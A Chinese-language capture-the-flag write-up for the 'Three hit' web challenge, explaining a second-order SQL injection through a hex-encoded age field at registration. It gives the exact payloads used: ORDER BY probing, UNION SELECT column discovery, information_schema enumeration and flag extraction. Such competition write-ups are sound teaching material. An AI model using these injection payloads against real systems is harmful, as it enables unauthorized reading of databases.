第二届强网杯Web Writeup

Three hit

http://39.107.32.29:10000
I can deliver tea to Dalao,can you?

网站的整个逻辑是可以登录,可以注册,username字段只允许数字字母和下划线,age字段要是number。

注册个账号,登录进入profile.php。发现profile.php会显示有多少人年龄和你一样。(交友网站?)
这说明我们填的年龄在profile.php被当做where条件进行了查询。

经过队内大佬提示,age字段其实可以用十六进制,于是随便填个字符串十六进制后的值,发现在profile.php显示出来了。猜想应该是二次注入。于是构造order by测试一下:

1
age=0x3630363036303630206f7264657220627920313023# // 60606060 order by 10# 填个很大的数字保证没人和你age重复

发现页面出现了逻辑错误:没找到和我一样age的人,查询为空,说明order by 10起作用了,不然最起码应该是有一条数据的(自己)。这里是有注入的。整个注入流程为:

1
2
3
1. 构造sql注入语句,编码为hex。
2. 用编码后的hex作为age,注册一个账号。用户名不重复,密码选个喜欢的。
3. 登录账号,查看注入结果

继续。

通过二分法测出order by 4为正确值,并通过如下sql语句测出显位:

1
union select 1,2,3,4 limit 1,1#

因为查询结果第一条是我们注册的很大的age对应的记录(age填很大保证没有和我们相同年龄的记录),所以我们取查询结果的第2条,测出显位在2号位。

接着就是注表名,因为没有过滤,直接构造下面sql语句的十六进制填入注册时的age:

1
6060606060 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() limit 1,1#

得到表名:users,flag

注列名:

1
6060606061 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag' limit 1,1#

得到列名:flag

注数据:

1
6060606062 union select 1,flag,3,4 from flag limit 1,1#


QWB{M0b4iDalao0rz0rz}